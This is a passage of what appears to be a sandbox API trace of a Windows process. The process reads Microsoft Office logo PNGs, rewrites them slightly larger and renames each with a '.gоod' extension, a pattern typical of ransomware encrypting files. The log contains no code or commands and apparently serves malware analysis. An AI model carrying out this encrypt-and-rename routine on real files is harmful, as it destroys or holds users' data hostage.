lpOldMode=0x1fcee160) returned 1 [0270.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.056] GetFileType (hFile=0x828) returned 0x1 [0270.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0270.056] GetFileType (hFile=0x828) returned 0x1 [0270.056] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa86 [0270.056] ReadFile (in: hFile=0x828, lpBuffer=0x393b818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x393b818*, lpNumberOfBytesRead=0x1fcee238*=0xa86, lpOverlapped=0x0) returned 1 [0270.057] CloseHandle (hObject=0x828) returned 1 [0271.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0271.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.046] GetFileType (hFile=0x8a0) returned 0x1 [0271.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.046] GetFileType (hFile=0x8a0) returned 0x1 [0271.046] WriteFile (in: hFile=0x8a0, lpBuffer=0x39ae260*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39ae260*, lpNumberOfBytesWritten=0x1fcee148*=0xa90, lpOverlapped=0x0) returned 1 [0271.047] CloseHandle (hObject=0x8a0) returned 1 [0271.047] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png", lpFilePart=0x0) returned 0x54 [0271.047] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x59 [0271.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0271.047] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9dc4cecd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa90)) returned 1 [0271.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0271.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png.gоod")) returned 1 [0271.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0271.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0271.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x39af550 | out: lpFileInformation=0x39af550*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66)) returned 1 [0271.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0271.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0271.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.049] GetFileType (hFile=0x8a0) returned 0x1 [0271.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.049] GetFileType (hFile=0x8a0) returned 0x1 [0271.049] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe66 [0271.049] ReadFile (in: hFile=0x8a0, lpBuffer=0x39b06d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39b06d0*, lpNumberOfBytesRead=0x1fcee238*=0xe66, lpOverlapped=0x0) returned 1 [0271.057] CloseHandle (hObject=0x8a0) returned 1 [0271.068] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0271.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.429] GetFileType (hFile=0x8a0) returned 0x1 [0271.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.429] GetFileType (hFile=0x8a0) returned 0x1 [0271.476] WriteFile (in: hFile=0x8a0, lpBuffer=0x37f51c0*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37f51c0*, lpNumberOfBytesWritten=0x1fcee148*=0xe70, lpOverlapped=0x0) returned 1 [0271.522] CloseHandle (hObject=0x8a0) returned 1 [0271.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png", lpFilePart=0x0) returned 0x54 [0271.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x59 [0271.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0271.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e0eb6c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe70)) returned 1 [0271.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0271.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png.gоod")) returned 1 [0271.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0271.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x38560a8 | out: lpFileInformation=0x38560a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1155)) returned 1 [0271.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0271.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0271.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.526] GetFileType (hFile=0x8a0) returned 0x1 [0271.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0271.526] GetFileType (hFile=0x8a0) returned 0x1 [0271.526] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0271.526] ReadFile (in: hFile=0x8a0, lpBuffer=0x3856530, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3856530*, lpNumberOfBytesRead=0x1fcee2d8*=0x155, lpOverlapped=0x0) returned 1 [0271.528] CloseHandle (hObject=0x8a0) returned 1 [0271.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0271.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.528] GetFileType (hFile=0x8a0) returned 0x1 [0271.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0271.528] GetFileType (hFile=0x8a0) returned 0x1 [0271.528] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1155 [0271.528] WriteFile (in: hFile=0x8a0, lpBuffer=0x3857980*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3857980*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0271.529] CloseHandle (hObject=0x8a0) returned 1 [0271.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0271.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.529] GetFileType (hFile=0x8a0) returned 0x1 [0271.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0271.529] GetFileType (hFile=0x8a0) returned 0x1 [0271.529] ReadFile (in: hFile=0x8a0, lpBuffer=0x3859c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3859c78*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0271.799] CloseHandle (hObject=0x8a0) returned 1 [0271.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0271.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.800] GetFileType (hFile=0x8a0) returned 0x1 [0271.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0271.800] GetFileType (hFile=0x8a0) returned 0x1 [0271.800] WriteFile (in: hFile=0x8a0, lpBuffer=0x37f88b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x37f88b8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0271.800] CloseHandle (hObject=0x8a0) returned 1 [0271.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png", lpFilePart=0x0) returned 0x54 [0271.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x59 [0271.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0271.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e37408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1165)) returned 1 [0271.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0271.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png.gоod")) returned 1 [0271.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0271.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0271.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x388cde8 | out: lpFileInformation=0x388cde8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x955)) returned 1 [0271.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0271.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0271.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.803] GetFileType (hFile=0x8a0) returned 0x1 [0271.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.803] GetFileType (hFile=0x8a0) returned 0x1 [0271.803] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x955 [0271.803] ReadFile (in: hFile=0x8a0, lpBuffer=0x388da48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x388da48*, lpNumberOfBytesRead=0x1fcee238*=0x955, lpOverlapped=0x0) returned 1 [0271.804] CloseHandle (hObject=0x8a0) returned 1 [0271.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0271.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.817] GetFileType (hFile=0x8a0) returned 0x1 [0271.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.817] GetFileType (hFile=0x8a0) returned 0x1 [0271.818] WriteFile (in: hFile=0x8a0, lpBuffer=0x3908010*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3908010*, lpNumberOfBytesWritten=0x1fcee148*=0x960, lpOverlapped=0x0) returned 1 [0271.818] CloseHandle (hObject=0x8a0) returned 1 [0271.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png", lpFilePart=0x0) returned 0x53 [0271.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x58 [0271.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0271.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e39a2d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1 [0271.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0271.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png.gоod")) returned 1 [0271.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0271.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0271.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x39092f8 | out: lpFileInformation=0x39092f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ec)) returned 1 [0271.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0271.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0271.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0271.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png" (normalized: 